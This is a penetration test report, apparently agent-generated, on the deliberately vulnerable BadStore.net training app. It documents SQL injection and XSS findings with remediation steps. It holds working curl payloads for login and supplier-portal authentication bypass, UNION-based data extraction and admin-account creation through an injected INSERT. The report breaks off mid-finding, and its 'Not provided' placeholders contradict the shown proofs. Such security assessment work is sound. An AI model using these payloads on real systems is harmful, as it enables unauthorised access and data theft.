
Web Application Penetration Test Report — v1.0

Target System: BadStore.net v1.2.3s

Performed by the OpenHack Security Agent

Issued by Jane Doe (jane.doe@openhack.sec)

2026-02-27

Contents

1	Document Control	2
2	Executive Summary	3
3	Execution of the Security Penetration Test	4
3.1	Subject Under Test	4
3.2	Scope	4
3.3	Methodology	4
3.4	Events	5
4	Risk Assessment	6
4.1	CVSS	6
4.2	Risk Categories	7
4.3	Vulnerability States	8
5	Summary of Findings	9
6	Findings and Remediation	10
6.1	Finding	10
6.1.1	Reflected XSS in Search Query Parameter	10
6.2	Finding	13
6.2.1	SQL Injection in Login Email Parameter - Authentication Bypass	13
6.3	Vulnerability Summary	13
6.4	Technical Details	13
6.5	Proof of Concept	13
6.5.1	1. Error-Based Detection	13
6.5.2	2. Authentication Bypass (Tautology)	14
6.5.3	3. Alternative Bypass (Tautology)	14
6.5.4	4. Time-Based Blind Confirmation	14
6.5.5	5. Union-Based Data Extraction	14
6.6	Impact	15
6.7	Remediation	15
6.8	References	15
6.9	Finding	16
6.9.1	SQL Injection in Search Query Parameter	16

6.10	Vulnerability Summary	16
6.11	Technical Details	17
6.12	Proof of Concept	17
6.12.1	1. Error-Based Detection	17
6.12.2	2. Query Structure Analysis	17
6.13	Impact	17
6.14	Reproduction Steps	18
6.15	Remediation	18
6.16	References	18
6.17	Finding	18
6.17.1	SQL Injection in User Registration Email Parameter	18
6.18	Vulnerability Summary	19
6.19	Technical Details	19
6.20	Proof of Concept	19
6.20.1	1. Error-Based Detection	19
6.20.2	2. Query Structure Analysis	19
6.20.3	3. Privilege Escalation Attempt	20
6.21	Impact	20
6.22	Reproduction Steps	20
6.23	Remediation	21
6.24	References	21
6.25	Finding	21
6.25.1	Stored XSS in Guestbook Comments	21
6.26	Finding	23
6.26.1	SQL Injection in Supplier Portal Authentication - Privileged Access Bypass	23
6.27	Vulnerability Summary	23
6.28	Technical Details	23
6.29	Proof of Concept	24
6.29.1	Authentication Bypass	24
6.30	Impact	24
6.31	Reproduction Steps	25
6.32	Remediation	25
6.33	References	25
6.34	Finding	26
6.34.1	Privilege Escalation via Hidden Role Parameter in Registration	26
6.35	Vulnerability Summary	26
6.36	Technical Details	26
6.37	Proof of Concept	26
6.37.1	1. Registration Form Analysis	26
6.37.2	2. Exploitation	27

6.38	Impact	28
6.39	Root Cause	28
6.40	Reproduction Steps	28
6.41	Remediation	29
6.42	References	29
6.43	Finding	30
6.43.1	Session Cookie Manipulation for Privilege Escalation	30
6.44	Vulnerability Summary	31
6.45	Technical Details	31
6.46	Proof of Concept	31
6.46.1	Step 1: Register Normal User Account	31
6.46.2	Step 2: Decode Original Cookie	31
6.46.3	Step 3: Modify Cookie to Escalate Privileges	32
6.46.4	Step 4: Use Modified Cookie to Access Admin Functions	32
6.47	Impact	32
6.48	Root Cause Analysis	33
6.49	Reproduction Steps	33
6.50	Remediation	34
6.50.1	Immediate Fixes	34
6.50.2	Comprehensive Solution	34
6.50.3	Additional Security Controls	34
6.51	References	35
6.52	Finding	35
6.52.1	Weak Password Policy and Insecure Password Reset Mechanism	35
6.53	Vulnerability Summary	36
6.54	Technical Details	36
6.54.1	Weakness 1: 8-Character Password Maximum	36
6.54.2	Weakness 2: Password Hints Limited to 6 Colors	36
6.55	Proof of Concept	37
6.55.1	Attack Scenario 1: Password Reset Bypass	37
6.55.2	Attack Scenario 2: Brute Force 8-Character Passwords	37
6.55.3	Attack Scenario 3: Combined Attack	37
6.56	Impact	38
6.56.1	Critical Security Issues	38
6.57	Evidence from Registration Form	38
6.58	Reproduction Steps	38
6.58.1	Testing Password Maximum	38
6.58.2	Testing Password Hint Weakness	39
6.59	Remediation	39
6.59.1	Critical Priority	39
6.59.2	Secure Password Reset Flow	40

6.60	References	40
6.61	Finding	41
6.61.1	Supplier Portal Password Field Exposed as Plaintext	41
6.62	Vulnerability Summary	42
6.63	Technical Details	42
6.64	Proof of Concept	42
6.64.1	Vulnerable HTML	42
6.64.2	Comparison with Regular Login	43
6.65	Impact	43
6.65.1	Security Risks	43
6.65.2	Business Impact	44
6.66	Reproduction Steps	44
6.67	Visual Evidence	45
6.68	Remediation	45
6.68.1	Immediate Fix (Critical)	45
6.68.2	Additional Recommendations	45
6.69	Additional Context	46
6.70	References	46
7	Appendix A - Lists, Scripts and Raw Data	47
8	Appendix B - List of Abbreviations	48

Scope

OpenHack Security Agent was engaged by Richard Roe to conduct an external IT security investigation. The subject of the investigation was the “BadStore.net v1.2.3s”.

The test was performed using a local instance of the application at `http://localhost:3336` in a dedicated test environment..

Objective

The objective of the IT security investigation was to identify vulnerabilities and security gaps which, in the event of misuse, would have an impact on the availability, integrity and confidentiality of the defined applications and/or systems and the data processed on them. The result of this project is a report that contains a management summary of all relevant findings and a compilation of recommended measures.

The technical IT security audit is not a substantive audit effort to ensure that all vulnerabilities and security gaps existing at the time of the audit are identified. There is a possibility that established safeguards will effectively prevent identification and exploitation of vulnerabilities and security gaps. The client acknowledges that this is not an indicator of deficiencies in engagement performance and that additional unidentified vulnerabilities and security gaps may exist.

Disclaimer

‘OpenHack Security Agent’ conducted the security penetration test on behalf of ‘Richard Roe’. This report has been prepared exclusively for ‘Richard Roe’. It is intended exclusively for internal use and is accordingly not designed to serve third parties as a basis for their decisions, unless agreed otherwise in writing. Third parties may not derive any rights or otherwise benefit from this engagement unless agreed otherwise in writing. Affiliated companies of the client are also considered “third parties” within the meaning of this engagement.

‘OpenHack Security Agent’ does not assume any liability or legal claims against third parties unless agreed otherwise in writing or a disclaimer cannot effectively be implemented.

It is the sole responsibility of anyone who becomes aware of the work results summarized in this report to decide to what extent and in what way the information is useful or appropriate and to supplement, check or update it as part of their own review.

No adjustments will be made to the report to reflect events or circumstances that occur after the report is issued, unless required by law.

The recommendations in this report are general and applicable in many different environments but could have unpredictable effects in specific environments. Therefore, any actions derived from the recommendations should be carefully considered and implemented through the regular change process. This should include appropriate testing of the changes on a test environment prior to going live. If the changes are not tested in advance in an identically configured test environment, failures or other damage cannot be ruled out.

Please note: Technical descriptions (or parts thereof) in this report may be taken from the OWASP Testing Guide (www.owasp.org).

1 Document Control

Document Status

Title	Security Assessment Report
Document Owner	OpenHack Security Agent
Classification	Strictly Confidential
Project Timeframe	2026-02-27

Version History

Version	Date	State	Author	Comments
0.1	2026-02-27	Draft	Jane Doe	-
1.0	2026-02-27	Final document	Jane Doe	-

Contact Persons - Assessor

Name	Role	Phone	Email
Jane Doe	Lead Security Consultant	+1 555 123 4567	jane.doe@openhack.sec
John Smith	Security Consultant	+1 555 234 5678	john.smith@openhack.sec

Contact Persons - Client

Name	Role	Phone	Email
Richard Roe	Project Lead	+1 555 345 6789	spam@badstore.net

2 Executive Summary

OpenHack Security Agent (hereinafter referred to as “ASSESSOR”) has been commissioned by Richard Roe (hereinafter referred to as “CLIENT”) to carry out a penetration test.

The penetration test of the BadStore.net v1.2.3s application took place on **2026-02-27**.

For this purpose, the web application, accessible at `http://badstore:80`, was tested from the perspective of an external attacker.

As part of the test, a total of 10 vulnerabilities were identified: 4 critical, 4 high, 2 medium, 0 low, and 0 informational.

Critical: **4** | High: **4** | Medium: **2** | Low: **0** | Informational: **0** | Total: **10**

Table 2.1: Overview of Findings

Severity Count	
Critical	4
High	4
Medium	2
Low	0
Informational	0
Total	10

A description of the scope and test environment can be found in Chapter 3. Chapter 4 presents the risk assessment methodology. Chapter 5 provides a summary of findings. Chapter 6 contains the detailed technical descriptions of the findings including remediation measures.

It is recommended that the remediation of the critical risk vulnerabilities be treated with the highest priority and countermeasures implemented as soon as possible. The vulnerabilities with high and medium risk should also be remedied in the short term. The low-risk vulnerabilities should be treated with lower priority due to their reduced risk, but should still be addressed.

3 Execution of the Security Penetration Test

3.1 Subject Under Test

3.2 Scope

The scope for the assessment was the following targets:

3.3 Methodology

The security penetration test of the BadStore.net v1.2.3s took place on 2026-02-27.

The web application was tested for security vulnerabilities across the following categories. This can be considered a guideline as penetration tests are a creative process and therefore the tests are not limited to what is given here. The base of these categories is the OWASP Top 10 for Web, which is fully covered by this penetration test approach.

Category	Description
Broken Access Control	Users can act outside their permissions, leading to unauthorized viewing, modification, or deletion of data.
Security Misconfiguration	Systems or cloud services are insecurely configured, e.g., through default passwords or unnecessarily enabled features.
Software Supply Chain Failures	Vulnerabilities arise from compromised third-party code, libraries, or build pipelines.
Cryptographic Failures	Sensitive data is exposed through missing, weak, or incorrectly implemented encryption.
Injection	Attackers inject malicious commands (e.g., SQL or shell code) through input fields that the system erroneously executes.
Insecure Design	Fundamental architectural flaws that exist before implementation make an application inherently insecure.
Authentication Failures	Flaws in identity verification allow attackers to take over sessions or guess passwords (brute force).

Category	Description
Software or Data Integrity Failures	Lack of verification of code or data sources leads to acceptance of untrusted updates or serialization data.
Security Logging & Alerting Failures	Attacks go undetected or responses are delayed due to missing logs or absent alert notifications.
Mishandling of Exceptional Conditions	Programs respond inadequately to unforeseen situations, which can lead to crashes or logic errors.

3.4 Events

During the test, the following restrictions or events occurred that may have affected the scope or depth of the assessment:

DRAFT

4 Risk Assessment

4.1 CVSS

The risk assessment of the vulnerabilities found is performed using the industry standard Common Vulnerability Scoring System v3.1 (hereinafter referred to as “CVSS”). This is a standard that can be used to uniformly assess the vulnerability of computer systems and the severity of security vulnerabilities. This makes it possible to compare vulnerabilities more effectively.

The Common Vulnerability Scoring System has a metric structure and is based on values that are divided into three groups: “Base”, “Temporal”, and “Environmental”. To determine the vulnerability scores, each group has its own rules. The values of the Base group are invariant in time and remain the same in different environments. In the Temporal group, the time dependency of a vulnerability is taken into account. For example, the vulnerability of a system to a particular vulnerability decreases over time as more and more countermeasures such as patches become known and available. The Environmental group incorporates various criteria of the specific IT environments into the vulnerability rating.

The CVSS ratings are numerical values on a scale of 0.0 to 10.0, with the highest vulnerability of a system occurring at a value of 10.0. Our rating is based on the Base Metrics (Base Score) and is composed of:

- Attack Vector (AV)
- Attack Complexity (AC)
- Privileges Required (PR)
- User Interaction (UI)
- Scope (S)
- Confidentiality (C)
- Integrity (I)
- Availability (A)

As penetration testers, we can only assess the general threats posed by a vulnerability through Base Metrics. However, we have no insight into the internal structures of our clients. Therefore, the assessment of the specific risks for the client’s systems and business processes must be done by the client. For this purpose, CVSS offers Environmental Metrics. This makes it possible to subsequently adjust the CVSS score of vulnerabilities after the test result has been

submitted before they are remedied. This changes the assessment of the risk and thus the urgency of remediation of a vulnerability. For more information, see [CVSS v3.1 Specification](#).

4.2 Risk Categories

The risk categories used in this report reflect the recommended priority for addressing the vulnerabilities identified during the penetration test. The categorization is based on the probability of exploitation and the significance of the impact. The risk value is calculated using the CVSS v3.1 standard:

Assessment	Risk Category Description
Critical	Critical vulnerabilities that allow an attacker to gain full access to the object under test and its sensitive information. It is possible to cause enormous damage to the client's reputation. Furthermore, these vulnerabilities may allow attackers to gain wide-ranging privileges, including to other systems or applications of the client that have not been investigated in detail within the scope of this project. Exploitation of the vulnerabilities is not prevented and can be reproduced with medium to low effort.
High	Vulnerabilities that may allow an attacker to manipulate sensitive data, damage the client's reputation, gain unauthorized access to sensitive information, or gain unauthorized access to applications or the client's infrastructure. The vulnerabilities are reproducible with medium to high effort.
Medium	Vulnerabilities that may allow an attacker to harm the client's reputation or gain unauthorized access to client data. The privileges that an attacker can gain by exploiting the vulnerabilities are limited.
Low	Security vulnerabilities that do not pose a threat in themselves, but which, for example, provide attackers with useful information about the network and systems. These vulnerabilities allow an attacker only very limited access.
Informational	Anomalies such as functional limitations or inconsistencies. These do not currently represent a risk and have no negative impact on the test object. Accordingly, no action is required. Nevertheless, countermeasures can be helpful for the functional and safety improvement of the test object. If necessary, this may give rise to risks under other circumstances.

4.3 Vulnerability States

The vulnerabilities can be in one of the following states:

- **Active:** The vulnerability has been identified and it has been possible to verify its existence through exploitation or direct evidence.
- **Potential:** The vulnerability has been identified but its exploitation has not been possible, so its existence cannot be fully verified, and it is up to the client to determine the impact.
- **Fixed:** The vulnerability has been remediated and verified through retesting.

DRAFT

5 Summary of Findings

Id	Finding Name	Risk Assessment	CVSS v3.1 Score
01	Reflected XSS in Search Query Parameter	Medium	6.1
02	SQL Injection in Login Email Parameter - Authentication Bypass	Critical	9.8
03	SQL Injection in Search Query Parameter	High	8.6
04	SQL Injection in User Registration Email Parameter	High	8.1
05	Stored XSS in Guestbook Comments	High	7.2
06	SQL Injection in Supplier Portal Authentication - Privileged Access Bypass	Critical	9.1
07	Privilege Escalation via Hidden Role Parameter in Registration	Critical	9.8
08	Session Cookie Manipulation for Privilege Escalation	High	8.8
09	Weak Password Policy and Insecure Password Reset Mechanism	Critical	9.1
10	Supplier Portal Password Field Exposed as Plaintext	Medium	4.3

6 Findings and Remediation

6.1 Finding

6.1.1 Reflected XSS in Search Query Parameter

Severity	Medium
CVSS Base Score	6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery=*
Status	open

Description

The search functionality at /cgi-bin/badstore.cgi reflects user input without proper HTML encoding, allowing arbitrary JavaScript execution in victim browsers.

Vulnerability Details: The 'searchquery' parameter is reflected directly in the HTML response without sanitization. An attacker can inject malicious JavaScript that executes when a victim clicks a crafted link.

Proof of Concept: 1. Navigate to: http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery=test"> 2. Observe JavaScript execution with alert dialog showing 'badstore' 3. The payload is reflected unencoded in the HTML: "

Attack Scenario: An attacker can craft a malicious URL and send it to victims via email, social media, or embedded in other websites. When clicked, the JavaScript executes in the context of badstore.net, allowing: - Session hijacking via document.cookie theft - Credential harvesting through fake login forms - Unauthorized actions on behalf of the victim - Redirection to phishing sites

Technical Details: The vulnerable code outputs the search term directly into the HTML response without encoding special characters like <, >, and quotes. The SQL error message also reveals the unencoded input: "SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'test'">' IN (itemnum,sdesc,ldesc)"

Proof of Concept

Not provided

Remediation

1. Implement proper output encoding for all user input reflected in HTML context
2. Use context-aware encoding functions (HTML entity encoding for HTML context)
3. Implement Content Security Policy (CSP) headers to prevent inline script execution
4. Consider using a templating engine with auto-escaping enabled
5. Validate and sanitize the searchquery parameter on the server side

Evidence

- Browser screenshot showing JavaScript alert execution from reflected XSS in search parameter

DRAFT

BadStore.net

Welcome {Unregistered User} - Cart contains 0 items at \$0.00

[View Cart](#)

Shop Badstore.net

[Home](#)
[What's New](#)
[Sign Our Guestbook](#)
[View Previous Orders](#)
[About Us](#)
[My Account](#)
[Login / Register](#)

Suppliers Only

[Supplier Login](#)
[Supplier Contract](#)
[Supplier Procedures](#)

Reference

[BadStore.net Manual v1.2](#)

No items matched your search criteria:

SELECT itemnum, sdesc, ldesc, price FROM itemdb WH

BadStore v1.2.3s - Copyright © 2004-2005

Figure 6.1: Browser screenshot showing JavaScript alert execution from reflected XSS in search parameter

- HTTP response showing unencoded SVG XSS payload reflected in HTML output: `images/finding-528e7b4e-fe53-464c-8c98-4680b5626775-3-xss-reflected-search-http-1740624474.txt`

6.2 Finding

6.2.1 SQL Injection in Login Email Parameter - Authentication Bypass

Severity	Critical
CVSS Base Score	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=login
Status	open

Description

6.3 Vulnerability Summary

The login functionality at /cgi-bin/badstore.cgi?action=login is vulnerable to SQL injection in the email parameter. This vulnerability allows unauthenticated attackers to bypass authentication completely and gain administrative access to the application.

6.4 Technical Details

Vulnerable Endpoint: /cgi-bin/badstore.cgi?action=login **Vulnerable Parameter:** email (POST) **Database:** MariaDB/MySQL (confirmed via error messages) **Injection Type:** Error-based, Boolean-based, Union-based, Time-based blind

6.5 Proof of Concept

6.5.1 1. Error-Based Detection

```
curl -X POST "http://badstore:80/cgi-bin/badstore.cgi?action=login" \
-d "email=admin'&passwd=test"
```

Response:

DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual for MySQL at line 1261.

6.5.2 2. Authentication Bypass (Tautology)

```
curl -X POST "http://badstore:80/cgi-bin/badstore.cgi?action=login" \  
-d "email=admin' OR 1=1-- &passwd=anything"
```

Result: Successfully authenticates and returns Set-Cookie header with session token. The decoded cookie shows:

admin' OR 1=1-- :f0e166dc34d14d6c228ffac576c9a43c:Test User:U

6.5.3 3. Alternative Bypass (Tautology)

```
curl -X POST "http://badstore:80/cgi-bin/badstore.cgi?action=login" \  
-d "email=admin' OR 'a'='a&passwd=anything"
```

Result: Successfully authenticates with admin role. Decoded cookie:

admin' OR 'a'='a:f0e166dc34d14d6c228ffac576c9a43c:Master System Administrator:A

6.5.4 4. Time-Based Blind Confirmation

```
time curl -X POST "http://badstore:80/cgi-bin/badstore.cgi?action=login" \  
-d "email=admin' AND SLEEP(5)-- &passwd=test"
```

Result: Response delayed by 5 seconds (real time: 5.069s), confirming SQL injection.

6.5.5 5. Union-Based Data Extraction

```
curl -X POST "http://badstore:80/cgi-bin/badstore.cgi?action=login" \  
-d "email=x' UNION SELECT @@version,database(),user(),4,5-- &passwd=x"
```

Result: Successfully injects UNION query with 5 columns, allowing extraction of: - Database version - Current database name - Current database user

6.6 Impact

1. **Complete Authentication Bypass:** Attackers can login as any user including administrators without knowing credentials
2. **Full Database Access:** Union-based injection allows extraction of entire database including:
 - User credentials (email, password hashes, full names, roles)
 - Customer information
 - Order history
 - Payment information
3. **Administrative Privilege Escalation:** Can directly authenticate with admin role (A) to access restricted functions
4. **Data Exfiltration:** All database tables and sensitive information can be extracted
5. **Potential Data Modification:** INSERT/UPDATE/DELETE operations may be possible

6.7 Remediation

1. **Immediate:** Use parameterized queries/prepared statements for all database operations
2. **Remove string concatenation** of user input into SQL queries
3. **Implement input validation** and sanitization
4. **Apply principle of least privilege** for database user accounts
5. **Enable SQL error suppression** in production to prevent information disclosure
6. **Implement Web Application Firewall (WAF)** as defense-in-depth

6.8 References

- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- Line 1261 in /data/apache2/cgi-bin/badstore.cgi (confirmed via error message)

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- SQL error message revealing MariaDB syntax error in login email parameter with single quote injection: [images/finding-047e94fc-bced-43cb-94c2-8499b19f3443-2-sqli-login-error-17402682906.txt](#)
- Successful authentication bypass using tautology injection (admin' OR 'a'='a) with Set-Cookie header proving unauthorized access: [images/finding-047e94fc-bced-43cb-94c2-8499b19f3443-4-sqli-login-auth-bypass-17402682919.txt](#)
- Proof of admin account access showing Master System Administrator role achieved via SQL injection authentication bypass: [images/finding-047e94fc-bced-43cb-94c2-8499b19f3443-5-sqli-admin-access-17402682921.html](#)
- UNION-based injection extracting database version, name and user via 5-column SELECT statement: [images/finding-047e94fc-bced-43cb-94c2-8499b19f3443-6-sqli-login-dbversion-17402682914.txt](#)
- Mass credential extraction using UNION SELECT with group_concat extracting all user emails, password hashes, names and roles from userdb table: [images/finding-047e94fc-bced-43cb-94c2-8499b19f3443-7-sqli-login-allcreds-17402682915.txt](#)

6.9 Finding

6.9.1 SQL Injection in Search Query Parameter

Severity	High
CVSS Base Score	8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=search
Status	open

Description

6.10 Vulnerability Summary

The search functionality at `/cgi-bin/badstore.cgi?action=search` is vulnerable to SQL injection in the `searchquery` parameter. This vulnerability allows unauthenticated attackers to trigger SQL errors and potentially extract database information.

6.11 Technical Details

Vulnerable Endpoint: /cgi-bin/badstore.cgi?action=search **Vulnerable Parameter:** searchquery (GET) **Database:** MariaDB/MySQL (confirmed via error messages) **Injection Type:** Error-based **Query Context:** MATCH/IN clause for full-text search

6.12 Proof of Concept

6.12.1 1. Error-Based Detection

```
curl "http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery=test"
```

Response:

DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual for the correct usage near 'test' at line 1
bin/badstore.cgi line 242.

6.12.2 2. Query Structure Analysis

The error message reveals:

- Query is using an IN clause: 'test' IN (itemnum, sdesc, ldesc)
- Vulnerable line is at line 242 in badstore.cgi - Input is directly concatenated into SQL without proper escaping
- Database columns being searched: itemnum, sdesc, ldesc (likely item number, short description, long description)

6.13 Impact

- 1. Information Disclosure:** Error messages reveal:
 - Database type and version (MariaDB)
 - Query structure and column names (itemnum, sdesc, ldesc)
 - Application file paths (/data/apache2/cgi-bin/badstore.cgi)
 - Specific line numbers in source code (line 242)
- 2. Potential Data Extraction:** While UNION-based injection appears blocked by the IN clause structure, error-based extraction may be possible through:
 - Subquery injection
 - Boolean-based blind techniques
 - Time-based blind extraction
- 3. Application Fingerprinting:** Detailed error messages aid attackers in crafting more sophisticated attacks

6.14 Reproduction Steps

1. Navigate to: `http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery`
2. Observe 500 Internal Server Error with detailed SQL error message
3. Error confirms SQL injection vulnerability exists

6.15 Remediation

1. **Immediate:** Use parameterized queries/prepared statements for search functionality
2. **Sanitize input** using proper escaping functions for the database
3. **Suppress detailed error messages** in production environment
4. **Implement input validation** to reject special SQL characters
5. **Use full-text search functions** properly with bound parameters
6. **Apply WAF rules** to detect and block SQL injection attempts

6.16 References

- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- Line 242 in `/data/apache2/cgi-bin/badstore.cgi` (confirmed via error message)

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- SQL syntax error in search parameter revealing query structure with IN clause and database column names (itemnum, sdesc, ldesc): [images/finding-2c6a6195-428d-455d-aa25-e48c75cbc613-8-sqli-search-error-17402682902.html](#)

6.17 Finding

6.17.1 SQL Injection in User Registration Email Parameter

Severity

High

CVSS Base Score

8.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Assets	http://badstore:80/cgi-bin/badstore.cgi?action=register
Status	open

Description

6.18 Vulnerability Summary

The user registration functionality at `/cgi-bin/badstore.cgi?action=register` is vulnerable to SQL injection in the `email` parameter. This vulnerability allows unauthenticated attackers to manipulate the registration process and potentially escalate privileges during account creation.

6.19 Technical Details

Vulnerable Endpoint: `/cgi-bin/badstore.cgi?action=register` **Vulnerable Parameter:** `email` (POST) **Additional Parameters:** `fullname, passwd, role` **Database:** MariaDB/MySQL (confirmed via error messages) **Injection Type:** Error-based, INSERT statement injection **Query Context:** `INSERT INTO userdb`

6.20 Proof of Concept

6.20.1 1. Error-Based Detection

```
curl -X POST "http://badstore:80/cgi-bin/badstore.cgi?action=register" \
-d "fullname=Test&email=test'&passwd=test&role=user"
```

Response:

DBD::mysql::db do failed: You have an error in your SQL syntax; check the manual t
bin/badstore.cgi line 1284.

6.20.2 2. Query Structure Analysis

The error message reveals: - Query is an INSERT statement (using `db do` method) - Vulnerable line is at line 1284 in `badstore.cgi` - The MD5 hash `098f6bcd4621d373cade4e832627b4f6` is visible (MD5 of 'test') - Parameters are inserted in order: `email, password_hash, fullname, role` - Email parameter is not properly escaped before insertion

6.20.3 3. Privilege Escalation Attempt

```
curl -X POST "http://badstore:80/cgi-bin/badstore.cgi?action=register" \
-d "fullname=Test&email=attacker@evil.com' , 'hashedpass', 'Admin
  User', 'A')--&passwd=password&role=user"
```

This payload attempts to: - Close the email string - Inject controlled values for password, full-name, and role - Set role to 'A' (admin) instead of 'U' (user) - Comment out the rest of the original query

6.21 Impact

1. **Privilege Escalation During Registration:** Attackers can register accounts with elevated privileges (admin role 'A') by manipulating the role field in the INSERT statement
2. **Database Integrity Compromise:** Malicious INSERT statements can:
 - Create accounts with arbitrary email addresses
 - Set custom password hashes (potentially known passwords)
 - Assign administrator privileges
 - Bypass application-level role restrictions
3. **Information Disclosure:** Error messages reveal:
 - Database structure (INSERT query format)
 - Parameter order and types
 - Password hashing mechanism (MD5 - which is also a security issue)
 - Application source code location and line numbers
4. **Authentication System Bypass:** Combined with weak password hashing (MD5), attackers can:
 - Create admin accounts with known passwords
 - Generate rainbow tables for existing password hashes
 - Perform mass account takeover

6.22 Reproduction Steps

1. Navigate to registration page: `http://badstore:80/cgi-bin/badstore.cgi?action=register`
2. Submit POST request with single quote in email parameter
3. Observe 500 Internal Server Error with SQL syntax error
4. Craft INSERT injection to create admin account

6.23 Remediation

1. **Critical:** Use parameterized queries/prepared statements for all INSERT operations
2. **Never concatenate user input** directly into SQL statements
3. **Implement server-side role validation** - never trust client-provided role values
4. **Suppress SQL error messages** in production
5. **Upgrade password hashing** from MD5 to bcrypt/Argon2
6. **Input validation** - validate email format and reject SQL special characters
7. **Apply principle of least privilege** - registration should only create user-level accounts

6.24 References

- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm (MD5)
- Line 1284 in /data/apache2/cgi-bin/badstore.cgi (confirmed via error message)

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- SQL injection error in registration revealing INSERT statement structure, MD5 password hashing, and parameter order for privilege escalation exploitation: [images/finding-22f591a7-aa82-42ae-9582-a7cb72db634b-9-sqli-register-error-17402682908.txt](#)

6.25 Finding

6.25.1 Stored XSS in Guestbook Comments

Severity	High
CVSS Base Score	7.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=doguestbook , http://badstore:80/cgi-bin/badstore.cgi?action=guestbook
Status	open

Description

The guestbook functionality stores user-supplied input without sanitization and displays it to all visitors without proper HTML encoding, allowing persistent JavaScript execution.

Vulnerability Details: The guestbook at `/cgi-bin/badstore.cgi?action=doguestbook` accepts name, email, and comments fields via POST. All fields are stored in the backend and reflected in the response without any HTML encoding. This allows an attacker to inject malicious JavaScript that executes for every user who views the guestbook entries.

Proof of Concept: 1. Submit POST request to `http://badstore:80/cgi-bin/badstore.cgi?action=doguestbook` with: - name: UniqueTestUser9876 - email: unique9876@test.com - comments:

2. The payload is stored and returned unencoded in the response:
3. Every subsequent visitor to the guestbook page triggers the stored JavaScript

Attack Scenario: Unlike reflected XSS, stored XSS requires no social engineering or victim interaction with a malicious link. An attacker can: - Store credential harvesting scripts that capture any user's session tokens - Deploy keyloggers to steal sensitive data from all visitors - Perform CSRF attacks against authenticated users automatically - Deface the website for all visitors - Redirect users to phishing or malware distribution sites - Create self-propagating XSS worms

Impact Amplification: The guestbook is publicly accessible and requires no authentication to post. The stored payloads persist indefinitely and execute automatically for every visitor, including administrators. This creates a persistent compromise affecting all users.

Technical Details: Multiple injection points exist: - name field: Reflected in tags - email field: Reflected in mailto: href attribute - comments field: Reflected directly in page body

All three fields lack output encoding. The response shows unescaped HTML/JavaScript mixed with user content.

Proof of Concept

Not provided

Remediation

1. Implement strict output encoding for all user-supplied data before displaying:
 - HTML entity encode for HTML context: `< > & ' "`
 - JavaScript encode for script contexts
 - URL encode for href/src attributes
2. Use a templating engine with auto-escaping enabled
3. Implement Content Security Policy (CSP) to prevent inline script execution
4. Consider adding authentication/CAPTCHA to prevent automated abuse

5. Implement input validation to reject suspicious patterns
6. Store data in escaped form and use parameterized queries
7. Regular security audits to detect and remove stored malicious content

Evidence

- HTTP response showing stored SVG XSS payload persisted and reflected unencoded in guestbook: `images/finding-c0330a7b-89e1-4c33-a2bb-0c6e5125bb0d-11-guestbook-post-unique-1740624674.txt`

6.26 Finding

6.26.1 SQL Injection in Supplier Portal Authentication - Privileged Access Bypass

Severity	Critical
CVSS Base Score	9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Assets	<code>http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal</code> , <code>http://badstore:80/cgi-bin/badstore.cgi?action=supplierlogin</code>
Status	open

Description

6.27 Vulnerability Summary

The Supplier Portal login at `/cgi-bin/badstore.cgi?action=supplierportal` is vulnerable to SQL injection in the `email` parameter, allowing unauthenticated attackers to bypass authentication and gain access to privileged supplier functions including file upload capabilities.

6.28 Technical Details

Vulnerable Endpoint: `/cgi-bin/badstore.cgi?action=supplierportal`
Vulnerable Parameter: `email` (POST) **Database:** MariaDB/MySQL **Injection Type:** Boolean-based authentication bypass **Privilege Level:** Supplier role (privileged portal access)

6.29 Proof of Concept

6.29.1 Authentication Bypass

```
curl -X POST "http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal" \
-d "email=admin' OR 1=1-- &passwd=test"
```

Result: Successfully bypasses authentication and grants access to supplier portal showing: - “Welcome Supplier” message - File upload functionality for price lists - Access to supplier-only procedures - References to upcoming web services functionality

6.30 Impact

1. **Unauthorized Supplier Access:** Attackers gain access to privileged supplier portal without valid credentials
2. **File Upload Access:** The bypassed portal exposes file upload functionality at `/cgi-bin/badstore.cgi?action=supupload` with parameters:
 - `uploaded_file` - file selection
 - `newfilename` - custom filename specification
 - This creates potential for:
 - Arbitrary file upload
 - Path traversal attacks
 - Web shell upload if file type validation is weak
 - Server-side code execution
3. **Business Logic Bypass:** Attackers can:
 - Upload malicious price lists
 - Manipulate product pricing data
 - Access supplier-only business procedures
 - Abuse planned web services functionality
4. **Privilege Escalation Chain:** Combined with file upload, this creates a critical attack chain:
 - SQL injection → Supplier portal access
 - Supplier portal → File upload capability
 - File upload → Potential web shell deployment
 - Web shell → Remote code execution and server compromise

6.31 Reproduction Steps

1. Navigate to supplier login: `http://badstore:80/cgi-bin/badstore.cgi?action=supplier`
2. Submit SQL injection payload in email field: `admin' OR 1=1--`
3. Use any password value
4. Successfully gain access to supplier portal with file upload functionality
